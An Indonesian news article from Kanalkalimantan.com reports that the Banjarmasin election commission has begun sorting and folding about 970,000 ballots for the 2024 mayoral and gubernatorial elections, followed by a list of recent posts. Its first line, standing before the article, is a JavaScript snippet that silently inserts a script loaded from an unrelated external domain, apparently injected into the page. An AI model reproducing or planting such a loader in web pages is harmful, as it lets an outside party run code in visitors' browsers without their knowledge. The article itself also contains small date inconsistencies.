(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
pilkada 2024

KPU Banjarmasin Mulai Pelipatan Surat Suara


KANALKALIMANTAN.COM, BANJARMASIN – Surat suara Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin dan Pemilihan Gubernur dan Wakil Gubernur (Pilgub) Kalimantan Selatan (Kalsel) 2024 masuk ke gudang logistik Komisi Pemilihan Umum (KPU) Kota Banjarmasin.

Proses penyortiran dan pelipatan mulai dilakukan sejak Senin (4/11/2024) siang, melibatkan tenaga yang sudah berpengalaman.

“Kita mempekerjakan sekitar 150 orang tenaga berpengalaman, yang sudah pernah melakukan pelipatan pada saat Pileg dan Pilpres lalu,” kata Ketua KPU Banjarmasin Rusnailah.

Baca juga: Pasca Pembatalan Pencalonan: Surat Suara Pilwali Banjarbaru Tunggu Arahan KPU RI

Rusnailah mengungkapkan, pelipatan yang dilaksanakan Senin (4/10/2024) siang, dimulai dari surat suara Pilgub Kalsel.

Waktu pelipatan tahap pertama dijadwalkan dalam waktu dua hari dan ditargetkan selesai pada Selasa (6/11/2024) besok.

“Kemudian dilanjutkan pelipatan surat suara Pilwali dari tanggal 6 dan 7 Nopember 2024,” katanya.

Baca juga: 110 PTPS Landasan Ulin Dilantik, Awasi Pungut dan Hitung Suara

Masih lanjut Rusnailah, surat suara yang dilipat jumlahnya berdasarkan Daftar Pemilih Tetap (DPT) Kota Banjarmasin yakni 485.418 orang pemilih.

Sehingga jika dikalikan dua untuk Pilwali dan Pilgub mencapai 970.836 lembar surat suara. Kemudian ditambah 2,5 persen surat suara cadangan.

Sementara untuk surat suara 2 ribu lembar yang disiapakan jika terjadi Pemilihan Suara Ulang (PSU) tidak dilakukan pelipatan.

Baca juga: 469 PTPS se HSU Dilantik, Siap Jalankan Tugas Pengawasan di TPS

Ketua KPU Banjarmasin menjelaskan bahwa jika pekerja menemukan surat suara yang rusak, maka dianjurkan untuk segera berkonsultasi dengan petugas dari KPU Banjarmasin.

Pun, jika ada surat suara mengalami kekurangan karena ditemukan rusak, maka KPU akan meminta kembali ke penyedia melalui KPU Provinsi Kalsel.(Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Bupati Banjar Ikuti RDP Komisi II DPR dan Mendagri Secara Daring

KANALKALIMANTAN.COM, MARTAPURA - Rapat Kerja dan Rapat Dengar Pendapat (RDP) bersama Menteri Dalam Negeri (Mendagri)… Read More

2 jam ago

Bahas Revisi RTRW Batola, Dinas PUPR Kalsel Gelar Rapat Forum Penataan Ruang

KANALKALIMANTAN.COM, BANJARBARU - Forum Penataan Ruang (FPR) Provinsi merupakan bagian dari mekanisme penyusunan regulasi tata… Read More

2 jam ago

Bawaslu Banjarbaru Panggil Para Terlapor Dugaan Netralitas Pemantau

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru menerima sejumlah laporan usai pelaksanaan Pemungutan… Read More

2 jam ago

Rakernis Bidang Kesehatan 2025, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Rapat Kerja Teknis (Rakernis) bidang… Read More

2 jam ago

Penanganan Dugaan Politik Uang PSU Tak Berlanjut, Begini Penjelasan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penanganan pelanggaran dugaan money politic menjelang pelaksanaan Pemungutan Suara Ulang (PSU) di… Read More

3 jam ago

Pimpin Peringatan Hari Otda 2025, Wabup Sampaikan Apresiasi kepada Jajaran

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Otonomi Daerah XXIX Tahun 2025 digelar oleh Pemkab Banjar di… Read More

7 jam ago